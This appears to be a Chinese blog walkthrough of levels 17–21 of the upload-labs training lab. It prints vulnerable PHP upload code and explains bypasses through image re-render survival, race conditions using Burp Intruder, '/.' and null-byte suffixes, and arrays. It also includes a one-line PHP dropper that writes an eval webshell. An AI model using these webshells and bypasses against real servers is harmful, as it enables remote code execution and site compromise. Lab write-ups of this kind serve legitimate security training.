upload-labs 17-21


17和18都很重要吧
參考全集1
博客2

pass17

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 獲得上傳文件的基本信息,文件名,類型,大小,臨時文件路徑
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 獲得上傳文件的擴展名
    $fileext= substr(strrchr($filename,"."),1);

    //判斷文件後綴與類型,合法才進行上傳操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "該文件不是jpg格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "該文件不是png格式的圖片!";
                @unlink($target_path);
            }else{
                 //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上傳出錯!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "該文件不是gif格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }
    }else{
        $msg = "只允許上傳後綴爲.jpg|.png|.gif的圖片文件!";
    }
}

提示是:本pass重新渲染了圖片,要求.gif .jpg .png三種都上傳了纔算成功
imagecreatefromjpeg這個函數就是用來渲染生成新的圖片的
1…gif文件
gif的文件比較簡單,文件頭(gif89a/gif87a)+gif數據流+終結器。沒有分各種數據塊這樣的。
所以對於gif:上傳一張圖片,然後下載下來與原圖進行對比,把webshell放在沒有被修改的地方就行了

2.png文件
這也是隱寫裏考得多的一類,無損壓縮的位圖,由>3塊組成
misc常規考點有:校驗值計算,修改高寬(IHDR塊的crc值爆破得到寬度)

PNG定義了兩種類型的數據塊,一種是稱爲關鍵數據塊(critical
chunk),這是標準的數據塊,另一種叫做輔助數據塊(ancillary
chunks),這是可選的數據塊。關鍵數據塊定義了3個標準數據塊(IHDR,IDAT, IEND),每個PNG文件都必須包含它們。

一種方式是將webshell寫入PLTE數據塊,也就是數13字節以後,再修改CRC
另一種是寫入IDAT數據塊

腳本和具體參考先知這篇文章

3.jpg文件
在隱寫裏也考,有損壓縮,以段來組成,普通考點一般考慮隱寫算法,複習LSB,Jsteg,F5算法,JPhide,Outguess

這個作爲一個菜雞更是難說,還是參考上面的文章

pass18

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif類型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯!';
    }
}

代碼審計= =
(if開始)發現上傳完了,再判斷的,決定是不是要刪除(unlink函數)

1.首先接收上傳的文件
2.然後判斷上傳的文件的文件後綴是否在白名單中
3.在白名單中,則將文件重命名
4.不在白名單則刪除文件

這裏要用到條件競爭 個人認爲條件競爭是一個想法~不一定非要用在文件上傳上面。
bp多線程發送請求包,一邊上傳,一邊訪問…理論還是比較簡單的。

轉載一個例子:
條件競爭漏洞是一種服務器端的漏洞,是由於開發者設計應用程序併發處理時操作邏輯不合理而造成。當應用面臨高併發的請求時未能同步好所有請求,導致請求與請求之間產生等待時出現邏輯缺陷。該漏洞一般出現在與數據庫系統頻繁交互的位置,例如金額同步、支付等較敏感操作處。另外條件競爭漏洞也會出現在其他位置,例如文件的操作處理等。

某平臺提現功能的業務處理流程爲: 用戶發起提現 -> 獲取用戶金額並判斷能否提現 -> 提現:生成提現訂單->扣除提現金額

<?php
public funtion withdraw($user_id, $withdrawal_amount){

//獲取餘額
$money = $db->FirstRow("SELECT * FROM ".Tb('money')." WHERE user_id='{$user_id}'");

if($money['balance'] == 0) ShowError('金額爲零,無法提現!');

//提現餘額小於等於數據庫的值就提現
if ($withdrawal_amount <= $money['balance']) {
create_withdraw_order($withdrawal_amount, $user_id, time());
$db->Execute("UPDATE ".Tb('money')." SET balance=balance-{$withdrawal_amount} WHERE uer_id='{$user_id}'");
ShowSuccess('提現成功!');
}
else
{
ShowError('提現金額過高!');
}
}
?>

上述代碼在非併發情況下是沒有問題的。

假設現有一個用戶在系統中共有2000元可以提現,他想全部提現。於是該用戶同時發起兩次提現請求,第一次提交請求提現2000元,系統已經創建了提現訂單但還未來得及修改該用戶剩餘金額,此時第二次提現請求同樣是提現2000元,於是程序在還未修改完上一次請求後的餘額前就進行了餘額判斷,顯然如果這裏餘額判斷速度快於上一次餘額修改速度,將會產生成功提現的兩次訂單,而數據庫中餘額也將變爲-2000。而這產生的後果將會是平臺多向該用戶付出2000元。
這個也算支付漏洞了吧


實操步驟:

1.bp開始多線程地上傳(intruder模塊)可以選擇null payload這個type,也可以在user-agent頭後面+數字,使用數字payload
2.跑得時候會發現,地址中的文件會頻繁上傳->被刪除
3.同時使用腳本訪問該文件
使用多線程腳本,頻繁多線程訪問該url 即可被保存

可以這樣設置:
在這裏插入圖片描述

代碼改成這樣就好~
在這裏插入圖片描述

例題:Moctf–沒時間解釋了

這題反正也是看blog的時候發現的wp我也沒時間解釋了
考點1.發現這個302跳轉 改包發送
2.發包都是兩個頁面,一個不斷上傳,一個不斷訪問


實操:
step1:建一個php

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>

step2:
在這裏插入圖片描述
點擊上傳,抓包

step3:intruder模塊跑一下 ok(一定要多,只500次文件影子都沒見到)

然後???我先留個疑問吧

pass19

還是條件競爭

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已經被上傳,但沒有重命名。';
            break; 
        case -1:
            $msg = '這個文件不能上傳到服務器的臨時文件存儲目錄。';
            break; 
        case -2:
            $msg = '上傳失敗,上傳目錄不可寫。';
            break; 
        case -3:
            $msg = '上傳失敗,無法上傳該類型文件。';
            break; 
        case -4:
            $msg = '上傳失敗,上傳的文件過大。';
            break; 
        case -5:
            $msg = '上傳失敗,服務器已經存在相同名稱文件。';
            break; 
        case -6:
            $msg = '文件無法上傳,文件不能複製到目標目錄。';
            break;      
        default:
            $msg = '未知錯誤!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

pass20

這是個代碼審計。。。。move_uploaded_file 會自動忽略文件末尾的/.
而且文件名是從$_FILES[‘upload_file’][‘tmp_name’]中獲取的,所以用戶是可以進行控制的,所以通過/. 來進行繞過
抓包吧文件名後面加/.吧
也可以用該函數的00截斷繞過

pass21

數組繞過,https://blog.csdn.net/u014029795/article/details/102917199 看這篇,講得很清晰了
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章